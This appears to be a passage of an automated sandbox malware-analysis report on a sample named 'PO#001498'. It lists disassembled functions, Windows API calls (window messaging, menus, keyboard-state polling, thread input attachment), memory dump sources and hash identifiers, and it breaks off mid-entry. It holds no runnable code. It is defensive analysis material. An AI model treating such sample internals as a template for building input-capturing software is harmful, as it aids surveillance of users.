                                                                                                                                                                                                        Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                                                                                                                        • _memset.LIBCMT ref: 004481BA
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$LongWindow_memset
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 830647256-0
                                                                                                                                                                                                        • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                                        • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                                                                                                                        Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                                        • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                                                                                                                        • DeleteObject.GDI32(00780045), ref: 0046EB4F
                                                                                                                                                                                                        • DestroyIcon.USER32(00740069), ref: 0046EB67
                                                                                                                                                                                                        • DeleteObject.GDI32(139D238F), ref: 0046EB7F
                                                                                                                                                                                                        • DestroyWindow.USER32(0043003D), ref: 0046EB97
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 802431696-0
                                                                                                                                                                                                        • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                                        • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                                                                                                                        Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                                                                        • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                                                                        • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                                                                        • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                                                                        • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                                                                        • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: State$Async$Keyboard
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 541375521-0
                                                                                                                                                                                                        • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                                        • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                                                                        Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 0-2761332787
                                                                                                                                                                                                        • Opcode ID: 42510643c9cdba6d1e7b7cb61b235febd1ff76eef9dce87624ca7f12cd0f3b2e
                                                                                                                                                                                                        • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 42510643c9cdba6d1e7b7cb61b235febd1ff76eef9dce87624ca7f12cd0f3b2e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                                                                        Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                                                                                                                        • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00450944
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 00450955
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                                                                                                                        • String ID: -----$SysListView32
                                                                                                                                                                                                        • API String ID: 4008455318-3975388722
                                                                                                                                                                                                        • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                                        • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                                                                                                                        Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00448625
                                                                                                                                                                                                        • CreateMenu.USER32 ref: 0044863C
                                                                                                                                                                                                        • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                                                                                                                        • IsMenu.USER32(?), ref: 004486EB
                                                                                                                                                                                                        • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                                                                                                                        • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                                                                                                                        • DrawMenuBar.USER32 ref: 00448742
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 176399719-4108050209
                                                                                                                                                                                                        • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                                        • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                                                                                                                        Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                                                                        • GetParent.USER32 ref: 004692A4
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                                                                        • GetParent.USER32 ref: 004692C7
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 2040099840-1403004172
                                                                                                                                                                                                        • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                                        • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                                                                        Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                                                                        • GetParent.USER32 ref: 0046949E
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                                                                        • GetParent.USER32 ref: 004694C1
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 2040099840-1403004172
                                                                                                                                                                                                        • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                                        • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                                                                        Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                                                                                                                        • SendMessageW.USER32(769523D0,00001001,00000000,00000000), ref: 00448E73
                                                                                                                                                                                                        • SendMessageW.USER32(769523D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                                                                                                                                          • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3771399671-0
                                                                                                                                                                                                        • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                                        • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                                                                                                                        Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3413494760-0
                                                                                                                                                                                                        • Opcode ID: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                                                        • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                                                                        Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                                                                        • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2156557900-0
                                                                                                                                                                                                        • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                                        • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                                                                        Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll
                                                                                                                                                                                                        • String ID: 0%d$DOWN$OFF
